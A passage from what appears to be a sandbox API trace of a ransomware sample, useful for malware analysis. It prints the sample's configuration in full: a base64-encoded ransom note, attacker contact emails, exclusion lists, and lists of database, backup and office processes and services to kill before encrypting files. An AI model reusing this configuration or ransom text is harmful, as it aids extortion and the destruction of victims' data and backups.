[350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0127.747] ContinueDebugEvent (dwProcessId=0x674, dwThreadId=0x678, dwContinueStatus=0x80010001) returned 1 [0127.748] DebugActiveProcessStop (dwProcessId=0x674) returned 1 [0127.748] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x3044f0) returned 1 [0127.748] ExitProcess (uExitCode=0x1) Process: id = "10" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x730ec000" os_pid = "0x674" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x4dc" cmd_line = "\"C:\\Windows\\system32\\explorer.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfcf" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1600 os_tid = 0x678 [0128.625] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x254) returned 0x8df050 [0128.696] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6) returned 0x8dbfb8 [0128.696] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString="NTDLL" | out: DestinationString="NTDLL") [0128.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0128.696] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x8d3670 [0128.696] RtlFreeAnsiString (AnsiString="N") [0128.696] RtlInitUnicodeString (in: DestinationString=0x47fa60, SourceString="NTDLL" | out: DestinationString="NTDLL") [0128.696] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x47fa6c | out: BaseAddress=0x47fa6c*=0x77860000) returned 0x0 [0128.698] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d3670) returned 1 [0128.698] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dbfb8) returned 1 [0128.698] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6) returned 0x8dbfb8 [0128.699] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString="NTDLL" | out: DestinationString="NTDLL") [0128.699] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0128.699] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x8d3658 [0128.699] RtlFreeAnsiString (AnsiString="N") [0128.699] RtlInitUnicodeString (in: DestinationString=0x47fa60, SourceString="NTDLL" | out: DestinationString="NTDLL") [0128.699] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x47fa6c | out: BaseAddress=0x47fa6c*=0x77860000) returned 0x0 [0128.699] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d3658) returned 1 [0128.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dbfb8) returned 1 [0128.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6) returned 0x8dbfb8 [0128.700] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString="NTDLL" | out: DestinationString="NTDLL") [0128.700] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0128.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x8d3670 [0128.700] RtlFreeAnsiString (AnsiString="N") [0128.700] RtlInitUnicodeString (in: DestinationString=0x47fa60, SourceString="NTDLL" | out: DestinationString="NTDLL") [0128.700] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x47fa6c | out: BaseAddress=0x47fa6c*=0x77860000) returned 0x0 [0128.701] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d3670) returned 1 [0128.702] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dbfb8) returned 1 [0128.712] RtlInitUnicodeString (in: DestinationString=0x47facc, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0128.713] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x47fad8 | out: BaseAddress=0x47fad8*=0x74d40000) returned 0x0 [0128.928] RtlInitUnicodeString (in: DestinationString=0x47facc, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") [0128.928] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x47fad8 | out: BaseAddress=0x47fad8*=0x74d20000) returned 0x0 [0128.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7) returned 0x8dbfb8 [0128.941] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0128.941] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0 [0128.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe) returned 0x8d3850 [0128.941] RtlFreeAnsiString (AnsiString="S") [0128.941] RtlInitUnicodeString (in: DestinationString=0x47fa60, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0128.941] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x47fa6c | out: BaseAddress=0x47fa6c*=0x74cf0000) returned 0x0 [0128.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d3850) returned 1 [0128.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dbfb8) returned 1 [0128.941] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9) returned 0x8d3850 [0128.941] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0128.942] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0 [0128.942] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12) returned 0x8de648 [0128.942] RtlFreeAnsiString (AnsiString="N") [0128.942] RtlInitUnicodeString (in: DestinationString=0x47fa60, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0128.942] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x47fa6c | out: BaseAddress=0x47fa6c*=0x74d10000) returned 0x0 [0128.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8de648) returned 1 [0128.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d3850) returned 1 [0128.945] RtlInitUnicodeString (in: DestinationString=0x47facc, SourceString="psapi.dll" | out: DestinationString="psapi.dll") [0128.945] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0x47fad8 | out: BaseAddress=0x47fad8*=0x77830000) returned 0x0 [0128.949] FindResourceA (hModule=0x70000, lpName=0x7a69, lpType=0x539) returned 0x88048 [0128.949] LoadResource (hModule=0x70000, hResInfo=0x88048) returned 0x88058 [0128.949] LockResource (hResData=0x88058) returned 0x88058 [0128.949] SizeofResource (hModule=0x70000, hResInfo=0x88048) returned 0x1492 [0128.949] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1492) returned 0x8dfd78 [0128.949] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5) returned 0x8dbfb8 [0128.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x100) returned 0x8dfab0 [0128.951] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x100) returned 0x8dfbb8 [0128.951] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dfbb8) returned 1 [0128.951] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dfab0) returned 1 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de648 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbfc8 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de628 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbfd8 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de668 [0128.952] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfd8, Size=0x8) returned 0x8dbfe8 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de688 [0128.952] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x47f9e4, _Radix=0 | out: _EndPtr=0x47f9e4*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 0 [0128.952] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfe8, Size=0xc) returned 0x8d3838 [0128.952] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8de6a8 [0128.952] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, 